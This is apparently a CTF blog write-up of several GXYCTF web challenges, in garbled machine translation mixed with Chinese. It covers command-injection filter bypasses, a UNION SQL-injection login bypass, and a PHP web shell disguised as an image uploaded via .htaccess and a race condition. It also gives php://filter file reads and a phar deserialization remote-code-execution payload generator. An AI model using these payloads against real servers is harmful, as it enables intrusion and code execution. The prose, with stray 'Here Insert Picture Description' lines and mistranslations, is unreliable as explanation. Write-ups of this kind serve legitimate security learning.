Section provides a brief analysis GXYCTF web

0x01 ping ping ping

Here Insert Picture Description
Obviously command injection, we use the pipe symbol |to execute the command we wanted
Here Insert Picture Descriptionthe space to be filtered, there are many methods to bypass spaces, such as

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

Because here the filtration { }and other special symbols, Vaughan use $IFS$9it
Here Insert Picture Description
here and filtered flag these letters can not be attached to appear, that f\l\a\gis not OK, here we use the command spliced form a=f;b=l;c=g;d=a;echo $a$b$d$c;can splice a flagfew letters of
the last payload
Here Insert Picture Description

0x02 BabySQli

A simple MD5 injection

Here Insert Picture DescriptionA string of base32 encoding, we first base32 decoding base64 decoded once again, get select * from user where username = '$name', because the title suggests the use of md5 encryption, and three have tested, we venture to guess that the second as the user name, password third column, this may be next next to try out ~~

payload:

0' union select 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'-- -&pw=1

The first of which must be 0, when the database can not find the username of our union will use the data, which c4ca4238a0b923820dcc509a6f75849bis the 1MD5 value

Here Insert Picture Description

0x03 BabyUpload

Here Insert Picture DescriptionThe one that is an upload interface, the old routine, and usually upload pictures like ~~

I generally use the horse as a picture

GIF89a
#define test_width 16
#define test_height 7
<script language="php"> eval($_POST[xxx]); </script>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

This format contains both a png image, but also contains the xbmpformat, php also used <script language="php">to facilitate a shuttle ~~

Here Insert Picture DescriptionWe visit our upload pictures of horses, but could not resolve ~~
Here Insert Picture Descriptiongenerally make the picture a horse to take effect, we have only good enough to LFIplace, but This question has not, so we can try to upload .htaccessto resolve our pictures ~~

Tip type too explicit
we need to change it Content-Type, change image / jpeg on the line ~

Here Insert Picture Description我们访问试试~~
Here Insert Picture Description显示访问不了,明显删除了,所以莫法解析我们的图片,这儿可以使用条件竞争,一直上传.htaccess和图片,然后就可以解析了~~

Here Insert Picture Description然后执行命令~~

Here Insert Picture Description

0x04 BabysqliV3.0

看似是一道sql注入的题目,但是试了很多次就没结果,最后直接爆破,得到账号密码为admin password
爆破是安全的最基本操作,以后看见登录框管他三七二十一先爆破一下再说~~

我们登录一下,直接跳转到了一个文件上传界面~~
Here Insert Picture Description当初看见有个参数file的时候还以为是上传图片马然后直接再包含呢 ~~
其实没这么简单~~

随便上传一个文件就会显示上传的地址和文件的内容
Here Insert Picture Description
但是所有文件都会被加一个txt的后缀,即变成一个文本文件~~
所以上传的套路都失效了,我们只有另寻他法~~

我们试试可不可以使用伪协议读取文件内容~~

Here Insert Picture Description直接读出了源码~~

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	
	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

我们先简要分析分析一下这段代码,我们可以上传一个文件,但是这个文件的大小有限制,这个没有什么影响,最主要的是这一句代码echo file_get_contents($uploader);$uploader是一个类,所以echo file_get_contents($uploader);会触发__toString(),而__toString()返回的是Filename;,通过代码我们知道Filename;我们可控,通过传参isset($_GET['name'],但是参数name有一定的限制~~

!preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])

这儿过滤了data://filter://php://.,但是出题人多大了一个空格,所以相当于没过滤这几个关键词,所以这儿就产生了非预期解~~

非预期解1

payload:

&name=flag.php
&name=php://filter/read=convert.base64-encode/resource=flag.php

然后任意上传一个文件就可以得到flag,但是此方法只能使用一次~~

$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";

We select a file upload, but the content will not immediately upload up, there will be a certain time delay, echo file_get_contents($uploader);that is to say this time will read the original flag.php, but not immediately 覆盖掉flag.php
us to demonstrate what
we upload a cacl.pyfile, the contents of as
Here Insert Picture DescriptionHere Insert Picture Descriptionwe soon will be able to get the contents of flag.php, rather than what we uploaded ~~
we continue to upload another file ~~
Here Insert Picture Description
contents of the display of the contents of the file upload our last ~~

The two payload can get the flag, but can only be used once ~~



Students may need to ask is not a condition to perform it?
	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

We really need to execute cmd $this->token != $_SESSION['user'], this may have been set $this->token == $_SESSION['user']up, but the code is not entitled to it, limited to this problem is for the solution of the expected ~ ~
because it will reset when deserialization phar$this->token

Unexpected Solution 2

We can be uploaded directly Trojan sentence, since only filtered 空格+.
content uploaded to our

<script language="php"> eval($_POST[xxx]); </script>

Here Insert Picture DescriptionAt this point there is no return content, we expect non-solution 1 has made it clear that, this time to upload a certain delays, but have been uploaded went up, we went to visit it
Here Insert Picture Descriptioneasily get flag ~~

Expected solution

Solutions for solving the problem is to examine the expected phar反序列化RCE
file_get_contents()that the $uploaderobject through the __toString()return $this->Filename, since phar://the pseudo protocol may not rely unserialize()directly deserialization, coupled with $this->Filenamea controllable, so here $this->Filenamewith phar after deserialization, __destruct()the method eval($this->cmd);resulting in a remote code execution

Here Insert Picture Description
Here is$_SESSION['user']

Given directly payload:

<?php

class Uploader
{
    public $Filename;
    public $cmd;
    public $token;
}

$o=new Uploader();
$o->cmd='highlight_file("/var/www/html/flag.php");';   #这儿一定要注意cmd是一句完整的php语句,一定要要加英语分号~~
$o->Filename='test';
$o->token='GXYcb5ae520cb58019b754969f1572f6b6e';
echo serialize($o);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

Then upload phar
Here Insert Picture Descriptionget flag
Here Insert Picture Description

0x05 StrongestMind

Here Insert Picture DescriptionThis question is common reptiles crawling formula, and then enter the answer to a thousand times
payload:

from requests import *
import re
 
s = session()
a = s.get("http://172.21.4.12:10044/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text) 
c = eval(pattern[0])
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
for i in range(1000):
	pattern = re.findall(r'\d+.[+-].\d+', a.text) 
	c = eval(pattern[0])
	print(c)
	a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
	print(a.text)

Get flag

Here Insert Picture Description

Published 47 original articles · won praise 2 · Views 3116

Guess you like

Origin blog.csdn.net/a3320315/article/details/104081277